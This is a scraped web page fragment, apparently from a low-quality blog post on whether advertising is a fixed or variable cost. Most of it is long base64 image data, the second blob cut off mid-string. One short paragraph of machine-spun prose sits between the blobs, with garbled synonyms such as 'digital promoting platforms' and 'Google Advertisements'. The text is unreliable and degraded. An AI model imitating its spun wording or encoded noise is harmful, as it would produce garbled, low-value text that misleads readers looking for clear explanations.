OgKwxQG8Z8H4Rk\/662K7Zsrd3ZveW8yG3zTKWggOdQbPU8SAcDP54Gca1x+u1bavWhdLqXXES2P3GITYY7jbzghRchSuodGASeAvOMceda4+s8vHtRKZQ1K6EOdZDgz0npBGStHV4JGRx7Z1tOspSEW9SVr+ZIbQTz551p8tWDX1QJlSq8pSWFuSJMZpQWHVOOYDi1ZOAMp44Hk62\/wBlBT1v0xtSejrHb5Hj5iPbV5HG6187gbJetG1LMum+JnqKktxaLCl1L4Kn1mUHltIJV0J6GkoBCPqfbSxzNzt65kychjf6+JMVhwJQo3BOR1AgEEJDoxwfGtge6m5tcv8A2Wqb9rWrKiQpMW4o1wpmvNFUSHGhTUNq6RkuNSnmT2zhOQ0c+RnWXIlSGmsurYDLTgiuFtCUqLgAOce\/HGfyGeMavHztm59Dl6W7iv8An+pOyIFwbgXLWYi5Ula0z6xJfadxEd47bjqs9JU2ckf7tPHOKX6Q4h1wkLjj3J+mkG9H7rr\/AKobObfiBp1pt8EEfaDLTmM+OcLHtp+pLWKcv5Sohkcnj6cHTkcfC7bg0uvT9wr\/AEUq\/Kz8LJqrkEw0S5LTcNwRmm+2noeCAD3ARgDyDoM7TbQ31udflMsalX5cLdYfShSG6rUZTcdRHdUUuAFR57CuMfxI0fd0qZMuHcK6KP1S4ESqPOU3usSClKVtJYeS\/geSolTeTzgL55Gh9XmLlgXxErdvV+q09unRGkLXAlLad7skvtE9SCCgNhwHj8ANNMTuwVJqtAuHd+26pMkurpyo7SW3ZTj6Wuie4AGys+MYHGNHb1wUxtm89trl6z3XKnTIWB4wiU45n+agNBH0\/QZtMuDdOlzpzs59in05t6S+sqcfWHk9TiickknkknydMD63kJfb2\/eX2wGqnT3O4twp7ZMtpIXxx4Uc58AnUvqzwqHrWkIlP2selv5Gqnygn\/rIpxyB\/lrH0KyFItu6WkgZ+NYV9wn2V9NTPrCor1faoD0CXGAhir9xTjuEkgMOBtJGcuKDaugcZ6TzqF9DBbYod2uPLQMT47S0EHIPQo+PpjP8tX6T7MrPLy2nUdJPWk+GicjBGPOtdm7VCVTF0tp6QZDjVFh5Wf8AAtoOpH6BwD9NbGXJDDy0IHWQsoGQg+c6Qrdu2avIgMVph9uU2KVGDqc9LjRbZDfbAJysjpA4H1xn3cfTkcL08KkO7FWEvJ6f3EwgfMPYqH0\/DRGS08UL+2IHOR3Pb9BoVenWoFPp9sdvtEqFIWnJOMYfeH0\/DV6hVR5t9wPOAoOfqPb8hqLPCE76xHWN8L+QlK+kVp9ZIyQMhJzn9dbA7AbVUts7edUvHxFvRsYzyTGA+ukW3kuOsUTfzcVcBMdceqyTHfac6sYXESMgA4z9pnJ+mmSp26Nw2xtRtlT6I02h2t0ZbfxTzQd7fw0YKwlvjJVkjOeMatSAPsNBD1n76UdSukLtyO7wM\/ccbOpramdWkemRLMZiQaZElVV6VIQQEx32p1NcZ\/HJHdxz9dGC4bTtLaO2aXXrA2qr1em7kUFcKvx6c\/3WkudmK6lw953DaMOqAA8+\/gaodtWtclnenG+reqlq1OhwECXUIiapKZfkulZYccGGT0IbT2R5+clR+mmngkbytQJu6lgPSaKiqumC1JTIVUnmQ125bIP2aFFDq\/tgcq\/wke+uanK9Ro123fY8lMUzHmreLjfRPbjdtHxEVwk5Q4VkdKeARwT9RjmpLhjKvemba+2YyZN1+qq\/W0nPSiE5TmVOY89LbLCj\/p+OhbWonpxpMwQGru3prhBBDk6\/41NSRk8htKc4OPfGjRCsGhUpg1asOrqcp1zuvzHmiEOOnnoZbPv\/AN4rJ+nT4A736brsWhUl62p9PpJM5bUtthxtJabW18uWwP7QsYUSlXAygrzwNPVog7Zb3bW2bb8G3rUnz4cSGFlcedcQqD63FuOOKcU\/klZJcA8DhKBxoju+o+mpjKqTVJW5Gigu9LYcw7hBGOrGByc\/hjWvWr21R0UiW\/S6XDaVLQ6024WWJDyigg8pdCuScHJGD7HGunbS4rds7aH+tK5rWVFqFKqL8OIY8h2ImvzwPsmOy2oN9pkKKniEAHpQjyV6t4nybA7f3tt6z5Fb3CnQ11JddZiMmHTpLXTH7XcOS++W0HPc5+mPfSWb8QRvB6galvHAuW0KRBnSYTwps24Ir0lsR2mGyCptRRz2SePqNL0jfa8n7l\/pVc1Ot+6JfcLnZr9P+KjJHs2lkqCG0DwAnBH11I7kb0zLprdMue3KXR6GhECIZNNp9NQzGYnoQUu9tPktkhCsEnzjnGrOOJeWmNboAqkZ1mHVaFKW4F9KWq1FKifb+PWyCya\/Rqpa8ORSqkxKShADgbPzMuEdRbcAPyLAUMj\/AE1pfpW\/a6rKj0+4LItR5t9eHJCo6myOD+OBk+\/tpmfT96i6rtleFWs6lSKbW2RTmJ0CMipdUacw4yFCOp4A9h5lxwIzgkAlBBGNTlFnI4m49o0un7d7k1Gjw0RpFctuQiUGU\/KtbEV1LasD36Dg\/XpH66valtnLDLtzXHV2qLSDI+V1S0vPvHPHS33B\/nz+GmT3D9V1v7yyJtmXzVanttaEKB1zKa53EvV6Z2z3GnJLQyGWnRgNAJ7vCycfIFdvW\/7OuJuQ9AQ00zEbMWnRQ38jLWDgDPg+CTjJJ1OMsTlVg2wu+3tur2hbgWDHuGr1CEshpypxmxD4BCieg9fjOASP1A0XYfrNrrrjkaZbtHQw21\/aW3nnWnjnhPa4IOfPPHvnSuWHPlxZL3aky4DEyE\/GdVFUUrU2vOSVDnHt0p+dWSOASdeikVE0WnvPT19oNxOzICAghyOHMsx8fXufT2BHjWkNTM36TdlZm1l21JjCXAHl\/CBUgthCUgrKUJPQMJzydW607ssm5SGV1j4aXJbabYEqP2w9z8vbURg5JHPjnSIUndG4abcbVX\/eNUTTDNRJk0mFVXozTzYPzNBzkjIyOrBIz40SrD9Q1ps2w5t5eVquOUTvSf3fIVMLz1PbWfsUKPbBc6QQC4ME45SQdS8VlNTtzGVD3V3ijPJ6Ftx4WQOOQ8yRge\/J0VPXDKWaDZ61R1qyYjmc+OiXFP8Arqm+nC5bNv2xqhbsulUZm54S2E1Gv0+JmZWogPVGkuvLJJyR0r9itsHjqxrP1LbqWFXjAsS6rwQ1WYcVDgDUYH4Q9xl1oOYI\/vAyc4BIDgOPA1PtqToI95J1+OVqJR4FjQa1SVy5ciTIlyfh2oRbaRhxax\/swhThPBPGB7ZH8m9mtnL3mW9bPahwJqGJdRejRFRv7SsdKctlxRI+ZWArtn64Pj1XJdlZq9RmyY9W6arIdQ+hmJKbkQH8OpdAbSUqLaOtKSWyc5SM+Bijs2ZXq9cNTfqVzuis1xstyW1qjhK2z9SvthABxjGtRhPXP6hLwodxfDVetd+iTf8AotRiB9tfb\/iKUhZQsg4GPqdeaxLymXJUm40+nSG0VB0tspTUHmHUtjOXHEo9zwMdf1POoer7TyabJh0mXXUSKhTG\/kiuoSWY4cGS53kKI68BPBGQNRlQqEOyZzMu3K9R59SiSWj2fiD2hggqKnSlKAOBx586Bi6letU2\/g1GLFl0eBHhtCWj4nuKaeBScEFxwAZKVJx7kD66vuz+4ELcmz4lzIgsxZjiS3KYSkpCVg+R1cjP0Pj+WlBF0PzawzcdyV6kVGRJaPZjxGlvRmltkdJDjiQjOMgkA+eNELb+910lNRp9JuA\/GksOOuoeADgWlI+zHk4CcHIBykHgHUxdVn1BQSzvncq5jrbaJZhymypYAUhcVocfqk6KVRqMRnbvZoMv\/EfDsy0LDPzlIciOgAhGccpA\/PULdFtW3ubQ5z1yPPzLkixXI9HeU7KcDAXyCptrKCjrCjyMk6i7Hs68rKpdNZg02ROdpk4PhbLJZBbWSTgO9J46tU00NZuOh27thYsysNTWlSYbY6PhHMKcQynqIJA5x0gjPGOBjQ33E3LpdzWTWbSp8GS0qoU+XEQ66EgNlxkgLxnJwQONEndO4o+5m1G3FKjT46a1Rm1rqkWa8tpUUraCcKUQQs5SOE50IKvtZJTA+Iq960Ons46nO0248sj3APAOOdZaeG9t06jLs2kVqiIdpE+jwGoTcpmcQstlbbbmAAPPSDnORj31zVddo+zkumtWzdu5aJEaIsKQYLTrDxI5HzFpwcfhrmtM4qt5U31OVKuoU\/RXG2qXhqIxTpcZ9psj7yyXMF0ng5z9PpqvLoW9kKP2RYNfWkIOXnXA+464fLikoUckn6Y01NrSbc3Hqq6NZ0x6TJCXlhT6S02lLZwtZJGVYyOMDP46rV77nWJt049TKXFer9YYUUOSJKVNRWnRwMJ++vB\/IammAVall7r3OpNFqVGrVGZqD39ur1QgdiHS4Y5edBxgkIB6E5ypZAGoOoVra3eXcqPaFRuWoWhtvZ9Pcp9uRYUJcqW6EKA6i2hKvtXllTrjhH4amL63fuK5D11qqPLjp5aitDtsN\/8AhbHA0MXLiVGmIlUwriuJT0pUwez1J9wejGf11UTu4GytPjV5EfaOVXK1R0R0\/EzbgjtUvtyMnhPcKetOMe2dQzOzE1llaqzelv09vguBpx6UU\/qhIR\/59db931FR7i3MK\/xeTrxO3HUnl\/NKcz+CyNXU6WSNt\/tzRgTUqtWaw62fufZ09k\/y7rh\/mnUrFuW26Cy9Et6iU+lsugIe+GbUXnQCCAp5wqcIyAcdYGQONDp2ouvuqUt1xxZ5VlZJP6nX1q4YNCUiVLh\/FqWfkaV4IH1OgYSh7n1qr0Ft0w5tVZhScKistFxTwDfUS45nKGxwSEg56vY86rDlQ+Oqktq57HpcqRIQHolPepoY7rf2h7gcZbS6cD+IeenkedCa47ip8qpM1e2mvgIs5oOqhLR1JbUPlWkH6dQOPwOibtn6g6NYTAKLelRqqkdw1KLKLjzryCClGF4CEnp85IR7JPusXZUc7Q6LQ3V12e9Go8F9suRmG5ThIQRwUnILn4HHOqDd1y0moJTDo8aS2wHe6469IPW+cY5A8cE+\/ufrrrv2+VXJdtcuWHT0Q01ipy5jEdZ6\/hkOuqcDIP0R14GMDjVTMlUnK3AkuZ5IGM6sZtXGnvWA02P7PVZklDPWe48EtZ+8rtpLavAGMqIz7edQ8utttvOJpC3UsLPydbKGl4I5B6P1HB5xn314Gm0paKi+lKFIPSoZ59uRjXmUWwpXQolIPBI5Oqg5+nzfKVYd902q1iSVQHOiBOWfvGMR0jH4t5z+OBrybib01W4Llu5ipxqXIbqcuQz1gBLzDYc+UtFactnATk+T+Gg4zAfqDDnbWAhohJz\/ANryf0GrFuJJq9x3NKr0tSXpEltlLy0AJClNsJb6\/bkpQCeOSTqZNXbixRI\/wVLksR199U0NduSmah5UfknDYykZPvnP+evtt3fb9NlSmLql1ypMFJabaQSyWXAofP1DqC+ARj8dDF5qIjCmO+FgYX1oT973xg+NdPdxhKVD\/PTDRLva\/Y1ZliPQZD7FOPHw57uVc8LcUv76yPP8A9tQc276pLpTNLlCIYLJJgkNIS9GIOVfaAArCh5BJ8DxjVTEl3GM6l3pq4UKmSacpSHltHKlYUnqCikkAjjnA\/z1cR3xlVWpBDUGPMlhHCA0hTgT7+3jUrZk1dDvikVWbHPdpNVjPKaXkglDgKkqSDzkcEZ99eSNFvCuR+9IS5KYIwFyJZ6B+SQrj+WvRQqDNp6Vx5U1ksLcQ6QwVdaVozgjIA99RYaceretQk9MSzKOy0OMh1xofyGoSs+r67ZoXHjxqFHS4MFPw65Cv81f6aCSaXTwoLTEW8r3VJc7hz+ude9llAR9mw0hI9ktgazjWpKp7kV+vSe8pchBWfux8xGh\/wDh4H8gdREiVVJrilyJEMDPCnXS8SP5a7wY6B86c\/kgayTIiEfZxyT7HA0HVFhodWEOVEqHullsJB\/XnXNe6LNeS4nsq7Qz\/CE\/8Nc0H\/\/Z\"\/><\/p>\n<p>Fixed costs, corresponding to lease or insurance, do not change with the level of production or gross sales. Digital promoting platforms are the prime illustration of highly variable prices due primarily to their inherent scalability and real-time monitoring capabilities. Campaigns could be started or stopped nearly instantly, budgets could be adjusted every day, and efficiency metrics are available in real-time. This permits entrepreneurs to fine-tune their spending based mostly on quick outcomes, optimizing efficiency. Whether Or Not it&#8217;s scaling up a high-performing Google Advertisements campaign or lowering spend on a less effective social media advert set, the control over variable costs is unprecedented in the digital realm. A small business with a modest social media promoting budget might find that its prices are extremely variable, altering with every campaign or seasonal promotion.<\/p>\n<p><img decoding=\"async\" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width=\"400px\" alt=\"is advertising a fixed or variable cost\" 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OlhQ\/gqfXtt\/vduMo2kGytZXAjCsahafmX0P52zYGwpUTPVMbDoHZtMVbSh926Wn8sUG4A8wtvkFSCkH0uLYnlO1pzlStJKppnEqqG8kVKV77KpyoTKlOPbm1bw6U708tN8BXlbzOIKE9yDYDDASxroif66XkZmf0bz818Sc05FhKec9ZDB2Ofj9YB+GKs6YMyJyh1FaaVZSwhDGYYaVEH9hxwNK\/zXDiztR0nOfQHpDWgNzuU8zVLLjqrcht4KebB+VkotgbqTLcpFUhTml7XYklqQgjyUhaVj+VOAq20tDhwKvv2gFfTmDq3z8pK7twXItMQb8AMxmwr\/OK8E77IjKYEHUzM6kfEt6DSWXPTYlb6wD97jX5YBPW3NrOoesGeczRlFUSsVuZNYIv+qW8ot\/5m3GrHsxspHLnSnSp5TZyvVObUybWukOBhB\/yWOPvxnJiOlrHmQlAP7QzRn+xH1G1d6JHDNDzOn6dhBA+FK1qIkti3Hwu7lW8g6nAzFxSAU3sk2uncbHvbj5XP542C9p9pdFzl06OZn+Fup5QmNTGnFd1MPLQw82PvKm1\/e2MZAlq67Ei18HG7c0FZSt2uRG9Aeh39mvqFpQnR\/Hy7lsJrdS3C6HNih7uyf47u0keaW142Kzfc05\/dc3BJPzwNfsw9L6dk3pri5mZKXapm6W9NlPAWKW2XFsMtfckIWr73FYJfOItTXrnnacKSu3PTkbdrFh31uo29QVY81eEj+dWKQR9kA3BHmcXr1so\/wDGBq5Nv1KB9\/KsQ3N2n6KLpNpvm2O3tRXTVoj6r8F+LLABP3tPN\/5OHWGgAkCFHKtmypV7LmXqJLf8SBQW5LMJu\/2Evvqfc++61H8LYj60C5HN8O1Ao0nMtYgUiGkrmT5TMJlKe5cdWG0\/yqGJbrZleJlHWbPtCgtpbg0qvToDDaOyUNPrbFvwTjSwDSqsWjO9ji4oZs1QRfvDpZ4\/3Q\/\/AF4AnOjAYzhmBBtdFTlptftZ9eD79j214eetTE3BvTqaeP8AdD2AU1KYDeo+bm+fgrc9P5SXMZNxI70Wz\/5bfVWJ0vdVuZOlSp5hm5co1JrS64ywy8mqKdCWw0taklPhqHJKze\/oMG70OVLIHVorPkrNGiGm9MlUd6KtDlOpAWXzI8ZS1OFy9zdscj1N8CX0RdKdH6rM05opNYr9Ry+3R4UeS05TWmlqcU46pBCg4CABtHb1wSHTlrV06dGNZzxSoWdM41+ZUJLcSYibl42ZcireQQgtpSDdS1cm\/YWwEgBsN5RxkgAu4Tt139E9dznJyJH0W03pzNPhtz11NqjCJT2w8tTAbUtKlo3KKW1C4vYJtipsp9NWpGgvSh1JLz5lpdAaqtGpohqMth\/xS1LJX+qWq1gtHe3fGh+gXU3kTqTj11\/JT9QfRRnGUS\/f4C4pSXQso2hX2uG1X\/D1xH+vFsL6P9VAnkik7uPOzzRxiHuFMK1LGm3hYXrbsTfzwbj3TnqB1B9FPT+jINBTXHKRKzAZgVMYjBpLkuyDd1ab3KFdr9sBQ4CCr78bSezVc39HGSkg\/Yl1NJ\/9tdw1K4tohLRNDiQfBZZ6r9OeqvTjlu+d6EzRKfmN1ENBTUI8lTqmVB8CzS1EAEAknjthZ0U5Sbzp1X6Z0t5vxo5qapDyCO6G2HXD\/wAUYKj2wOZ\/eM0aZZdQr+9oE6pOJ8ruuttIP5MrwEOkmq+YtEc+wc45VeisV6E262w7MjCQ2kOIKF\/ASLnaSAfniwS5nmqIax9dAovXKE9litVGjyBZ6mynoTgUOymnFNn\/AIuNHvZBZuL2WtUcrLe5jS4VWaT6JcbWysj8WW\/zxnVnDMk7O2aqxmKpFn6Rqsx6dJMdoNNeK6srWUoHCQVKNh5YK32VeaBQupafR1Ks3XsvSmAB+04ypt9P+ah3AyjcwhXEdrxSrPr9JPWJqj5\/vi0P+CsYmnsuwR1ZQ1psQigVM\/5jYxDuvlH\/AI4OqH\/6k1\/8qxieey0jhfVSFd9mXKibW+bI\/pxH\/wAo\/JWz+b6rXrwX3BuSw8pKv2g2bH+THNaVpR8bagfIKBBxht1K58zQx1CamMxs0V2PGbzLUENssVWQhCEiQsBKUhdgBbsO2D\/9lpUqpWtA8xyapPm1N45ldQ29OlLkLCRFYukKWokAEnjtyTjnTQbGbrXQhn3v20jShr+HsfuxkL7SvUNzOvVBU6SYvurGVIbNGbWVXLyiPeFuH0F3wkD0Rfzxr9DQFJHdI+7AC9SXRxpvqZrfnDMtW6gMv5SqtSlIckUSZ7oXYagy2jYrdKQq9khXKR9rGekLWklyLVhzhTVnnp7m05Bz3l3M\/u5mfQtRjVIx923xgy6lwov5XCbX+eCd9p9qIM7dREGitw1xWsvUeO2HXFhSnlSgJRNh2CUrQm3PKVHsRiRL9nxpi4lXh9UWULEEWUmJ\/RNxY\/UH0oaea8atVXOrPURkuiJmx4jAgreiyCjwI7bN94lJvu2bu3F7c46e9pcCudseGkUs5qRV3Mt1uBVWUJecp0lmYhtRsFFpaVhJ9ASm344Jv2i2sSdW9aKEWaaumxqZl2E4hLrgWpZmtImquQLDaHkI+ZSo+YxM1+zmyc8hYa6mMjK3AgfVsf8A1mJ5qr0Q5N1PziiutdQGTqfal02nGOfAd5iw2oxWFCWOFeFutbi9rm18FubdoQx9EUs+KBV3sv1um1VhCHH4MtmY225fYpbbiVpBtzYlIvizupHqYzR1N5tg1zMsaBT\/AHGKqJEg0tCw00lS96yStSlKUpVrn\/FAAHmRzfsz8vu\/quobKLvyEZo\/zS8df9TAprx+r16yoR24hoP4\/wB9Ym5vKrY+qpBdkXNz+Qs7UDMkZrxpVImNzWkFW0KWg3Tz5c2P4YY4qShDaVKCykC6u1z64O9PssG1g+HrnldR8v3CLH\/hOPp9lVPH6jWbKTo8t0JQJ\/J84vc3xVbHLzpbkTQ+rdCOYdSKtpp9JZmy1Hfpk2YqS6lyVOu2lt9BDoSEXkMqN03G1QsbC4GtbkoQgkKUAAVHi58zjW7JfR1Jyr0iZ70cdz7l+XUsxz1TW6s2kiOwCqMdqm95Uo\/uc8g\/tD0OB\/Psocxq5RqnlIg+Yiv\/APPwIcM5ROaTVBUVpJmpzMfTRrNpy5EcfMVmPniC+FDayqK8wzJQR3+JpxJBH8BV+4xRPYqB7jjg4080B9nbU9MKvm12t56y\/WKfX8r1DLqm4MdxK2zJCAHPjVYhOy9u\/bECb9kTXNoSjVihukAXJozouf8A1+JvaLyp3biBhACXgy2XLcNpK7X9BfG+\/TflD9BNANO6BsLa4VBhpeT2+tU0lbn+epWAMjeyIzF7yx42pVDejBxBdQmlPJUpG4bgD4p5IuPxxp022htKG2kBKEjalKfIDgD8sYyuDgKW0TC0m0JftNtS4GTOmqfl19h56fm2SzT4pbT8DYacbkOLWT2+Fuw9SofPGO5WVOApH8uNqOuPpZzF1R5WytTMvVam0d+kVB2W6uqIdKXErZKAE+Gkm9+efLAdH2ReqQFhnDJ6uOLiYP8ARYONzQ3lBK1znYCKD2Ymp0HOXTdEywzFej1DKMp2DJWsAtvB5xyQ2tBH+Ksgg9in0OCWzmb014ee30xQ3Qt0rZp6XMvZvgZmqdJqrtYmsSmFUjxilCUNFBCvEQnm5FrXxfmbEOuQHSlh1VgezZ\/qwu6t2Eyy9uViL1r86+VOwJBYR5fNWJdSTA1H9n3WYEeI8K5ptmxqqvyFJ+rVCqJU0dpve4X9oeXhpPN+Lf1K6E89dTOpmYcwZcq1DpsOHKMB1FWXIQ4VpAXwG2lC1ljub98Xd019AOZtMNKdY8m5xqlCqDeeKW1AiuUtT60sOIQ+Ate9tJFlOtqG2\/2TjcvaBzkJdrHHpgoCuiPK7OYOqHJb0xCjT6G89mCWUJ3ENw2VvDjz+sS0APUjFZal5wZ1A1IzVmmOw5Fj1yrS6m0y8QVoQ88pxIVbzAUL\/O+NQekP2fuZ9A8wZvrWZ63Q6pNqmX3aNCFNS+Qyt0guLUVoTx8CBxc2vigWPZB6otsNoOccoApQlPAmG9hb\/YsHvbuJtCY3bQAFGPZn63UzSfVvM0WrRJT8as0N51LkRKVFtUFt2WoEEi+5tDoB\/hBIPBJAn5mrpzTmOr1vwvdzU5r88NXvs8V1Tm2\/y3Wxopov7MDUDTXP7NdqGassyoyKdU4ZajIlFZVJgSIyD8TYFgp5JPyBtc4r5n2QOqaWW0Kzjk8bEhPw++HsLf7Dib2Ak2oWPLQKVE9K3VVUelXMGZKvTMvxMwSqxAbhpRNlLZQwpDhWlfwJJWLnlN09u+KZq1Tk12qz6lLWHZs2S7KfWkWCnHFlayB5fEom2DgT7ILU8XJzrlIE9rNzD\/o8ev8AUhNSx\/8AfbKo+YYmH\/R4sPZd2qMclAEYU29jsomBq6jzMikqv6fBKGL69pRqFGyN0o5hgux3H5OaH2qFHU3ba0pR8Va1\/INsrta9yU+Vzjn0M9IOZ+lZGdk1+tUyuCvmEWfoxh5HheCHgrd4gF7+KLW9DfEp62emuv8AU7pVS8r0CpQKROh1lqpGRU0OlotpZdbUkeGknddwHtbg4wJBkvomACI66rDtVib9r+RxrZ7KXUZjMvT7OymmO41LyrVnEreNtj7cpS30Ec3uDvSQR5AjvxQKfZB6mWurO+VR90eYf+RgtehvpHzL0r0rOUWvVmm1tyuSYj7KqYy8kNhpDiSFeIB33i1vQ41ke1zcLOJjmushZ5+0N1Wi6qdUGYhCbeahZbaTl1BfTtLjkdxzxlgXNkl1awPMhINhe2EvQfkTTXVPW05O1HocqttViC4ikpjSnWENSmwXVlxTa0qsWkLA7i\/lzcEVrD7LbUnULVnOmaadmfKsWBW6zLqLDUn3vxUNuuqWEr2skbhfmxIxJOlz2b2oOhmu+Vc81rMmXJ9OpC5Cno9PErx1hyO60Ane0lPdwE3PYHFlzQ2gUAa4vshBL1c5ZyTkzqBzXlrIFJkUSgUR1FNVGlPreKpLabPrSpalK2lR4ufK9he2GPpx1DlaS68ZFzVFY97MKqstuRwvZ4zTxLDiL2NrpdV+IGDg1z9mFqHqnrJnTOFNzRlqFT65VXp7DEtMrxm0LsQle1oi\/fsSMRbL\/sktSqVXqXOezjlRbUOYxJUhCJl1BDqVkD6sc2TbBb21VoSxwdYCFDqkz5E1U6hNQM1U9lxiDPqzoYQ+LLLbQSyFKHkVeFut5Xtjp01a+zumrUlecYFEi16SadIp4iS5C2W\/rSg7ypIJNi2OPO55GCyrnsjtQKpWZ8trO+Wm25Mp59CVRZd0pW4pQBO3vYjCIeyB1FJv+nWWP\/Zpf\/NwW5hFEqbHg2AgdzXXp2eM1VjMNS8NVQq016fIU2najxHXFLVtHkLqNh6Y1L9k7EB6fM0X4tmh25\/\/AGkfFOJ9kNqIOf04yuD34jS+P83Bm9FPTRXumPTquZdrtXp9Yen1Y1Fp6nIcQlCSw22UkLAN7t349cK6hwcymreAOY\/c4K5oiCUmwJFsZd9WdB6fj1DagSc20zVSRX\/f1OVGRQXaYIO9EVhxfheKN4SltbZO7nn0xq9EYabQAADigdTtIZGdOpHTbPUJNOVQ8qiosVaI\/TZLj0xchrwiUlDRbXtCU8qPkcI6Y7c2mtQd+As4qXph0x1elxqjHi6ziLIgVKopKUUhX1MEXkE\/d5YkOXukjSfUehTKpk2haqhulTaauqtZmECEr6MktuOrlxVIZWh0obbC7KKUkKHNyBi0KD7P7PWXhNfYnZYanzKNXqZKktwqpd1c8KDSiPd+zSVbQPT1wSXSFptnXQ3LVWy5nCXSZOXgI4pNOy5SJoQwoJUJTjqnWEqWt5WxZuSL7rBI4x0y6hg2kQyzRFLOtnTvpclQHpCZOsrCxDjzY8d+lUwLlIkOJbYDdgR8ZX8JUQCEnnsDO2+k3p5laNZr1IfzBqPSIOVqmaNVqLNp1O+ko8zxG2y1s27FHc6nsvyV5i2CDqPSXmavZS1fnVdvLlTzxnbMUWfGYlw6mIMSnRVXjsIeaabcacSCQFJBA2jvfDXR+jzO0TQ93J66zToE+r6gx81VRMZVRWIsFraQyzIdjLW8+FISre4mxIuSo3ve7zVbfJDFXtBunah5dyrWkZg1PlQsyUiTW4vuuXKe+tqPHdW0+XQCNpbLalKtcBNjfH6V056AmvO0uDm7USoOJqNOpjcmLleCtp56c0XYpRdQJCkAnkA\/LFwu9E+sTGUqBQ49TyfITS6RX6Kh+TIqIIYqbqlE8RPtIC1n0JOJTTujfOuX9UKM7DqtCmZRbq2W63KqL4ltS0O0uIWVMpj+CQoOKUohW7gWvzcYvd5qq\/4oYqvoRoJRsn0DM7mec\/mmVpyc3FCMnxFOARHGmnlLAcG1O95CQfM3HBwqr3TtoblzImW82y9Qc7t02uvVFmO0nJ0dT7SoTiG5HjIDv1YCnEjk\/li3m+jjWt7SydkqXMyl7g3TJMenspnSFpblSKk1Lde3KibkHY2W\/hNlBKbi\/YqOozReFqZ0z1TJ2WKJlyBm+RDbaiuORlRmYjzrrLk1aHgxcFwtEkgDxDbdit4GLV7LBws3Iej+gU6QhtGp2eI6UPJYmPO5DSUQHFOKbbQ\/tdukrUkhIAJPbg8Y6zNE9ColLp8tOrGbnDOjrkMRmsjpW9uTJVGDSkiR8DinEkJCrXFjfkYKjU7pBzrmTUCbJyw1lam0TMrGXXao+l51hVPlwFhchSGksfX+IrcoKFiom5sTfC+odJdddY6gHaVQskTW87Zhi1Chs1CS8ptyCiS8662VIbBjOFSgtKknhRKb2SMXvHih2eSH1PR9pkjRSo6nu6o5oi5epdS+iZ8aRknZNiSd6UFDjPvFxZS0gkEjm3e4xA06YaKtyqhDXqrneG9Tgtyc29p27vhpQQla3UiTuQlJUAbji49Rg1P7XfUaX0SZu0tm1emzcz1WtCXS4U6sPyWKXAD7TqI5lrau4U+Goji3xffhg6iujSv6jVCjt5Vfp0Ok07IyqIlc7MUgvrqCny8Q6taFKfZuoj4yQbpuBtAwO4dSi29QEPE\/pl0qgagHKKNcq6\/JDqIwqMbJT64CpK2PHRHDwk2LqkchNuSbXHOEGVOnbSvOk3JsKja81yRMzZPcptOY\/Qx8LDyFtpPjD3v6tN3UkKNwQFHywSEnpc1Fmass1J13KaKC7meBm+RLaqqkLbeYp5YXESwGhwXCQFiyQmxsBcCIaL9B2ddMNStNs2uyMtrNGq1PmVJtNcuW220KTI2fV\/GSohYA9NvzxNwrlTbnhVvX+k3ImU9VXtO6lr5V6fmNmoRqW4p7JswQ25EgAsJVJEnYkL3ABRsO\/NgThha0P02X9OuI6jKw2xR470t2QvJdRDclhp8MOuR1CT9clDigFEWsLnsDYq9YOnLPmovUlmbMFPdyzFyZXMxZdqiqlIrY94ZYpqLKIjBF1KXuXZJIttHNjcV0ro11R\/R3MNHKcqrbhZdrNEpkhvMCP3xVPqQkhzaUjwQhClkhZuSkDueJuvqoW+Sp53Q3IrWWPpxvqQqrrP0h9FiCjKFVE\/xwz4xHu3jhe0NfHv8As2878YQNaDZWrmZKLl+ldR82bUK2Yaaf\/c1VkMOGULxwXS9tTusRz5pUP2TggZXSzq0iUM8ts5fZzKjMQnIoMDM7SH22BShDDyJakhAWFgL22vbCjJujOtOnGp2X81SYOXK+81RKVTalMlZqa8NYZbc8c+CCAtz40oQ4oK8MpKkhV74hPmpXkqGpnTVHo1dq2Xq\/r6rK0yjQpc10vU2oLZkxmPrHngtt0ArSHEjw+VkAWvcDCiDofk6bBgSv7Z6Qw1MqaKO2iRlmstOIlLSlaEOIU6C2FJWlQWqySL2Pwm1z13SPP2r+Zc+Jy87TKRAqmXahTamJdaaMZ+W4wypmMlB53JdBs+kBJTwT5Yac0dJep2oVDqrs+j0mkzatXY80Qv0liOOQ0xaMuK04tYVtUlb5QdqbqABuBwcDu80QbYBpVjM0QyPBjypDvUxNdZjVVdDWuPlStPAzEJK1NJ2unf8ACkkFNwR2wvV035OYouXKu91MvIp2Y4EyqUx\/9GqsQ\/Hi7\/eF8PHbs8NfwqsTYWBuL2BTuk3UrK2SmaHDosSV7jnxnMLTsfOMWHIdjIp5YUUPpVuaWXOQofEm\/bi+LW120Iz9rxpFoqxMYy\/Q830idJg5hjUeqR2mIdOknw3XG1KcIc+qQgqSCSStXHcYhdR5RbMcIYGunrIsitRqU11NSXZ0mSxDZbRlSsEOPPMh5pIV4tvibUFfccOUnpUyjH0vpuojvUu6jJ1SnqpkSpDK9VPiyRuu2Gw94g+wvkpsSLA3xaGmfS9qFkOi6fPSaZTZ1Wpeopr1Q\/uihhSacxDajRrLLliSA5ZIuUgAEC+I9C0Z6i4mmOSshKy1S3MsZbqEWrNwEZjpd3Zjc9ySp3xN+9N23PC23KQRutzi93mq2+I+6ZWujDLzukEnVBHUql3I8Z73d6pN0GoEtueKlrYpn3jxQvepI2lN+b9ucMcnphyPGj0GQvqXe8KvUh+uU1QyzUyJERjxPFUPr+FjwXPqzZZ28DkXIf8AsEagL6W2slKjUiPXK\/qOrMdSiIq8R8U2nqk+NdZUtLb6klCCUJPINvW1TVXpC1YzRp5k+gSafT6bUMpQK43T5jeYoQS6p6YiRHbIS4SkLSp9HeySpNyADeg7xKhZ4BQGF0+aaT69TqIOpx5FQqPuqY6ZeVKqy3+6UJXH3OqeCEb0rSQVEDn78OubukvJeSNTv0ArHUg\/GzKX2Ia2W8s1B5lqQ+LssrfQ+UJcWCLJJvziwp\/S5qnUq9HpwotGi0qZHyczJqsnMcTZEVSmEJfPhJUVuAkrSLfweLgjFr5p061IoHVXmzMeWKNlGvZWzZmCiVJdVrE6G6iGxEbUl5KWHTvRI+JWxxAJFuO5te7zQ7PJClkXpt081DmvwqJ1KzTJYgyqmW52U6nF3x4ySp9TZcfAWUBKrpSSeDxwcJmOn3TmVkSLnJjqPqkihSam5R2nGMnVNx4ykRxIWgsh8rADSgrda1r88G1kZT6UNX8oUma7Fp1Kmz6hlvMVDVEl5ohuIgqmuHw1x7qs2VJUd+0\/Ed1yN1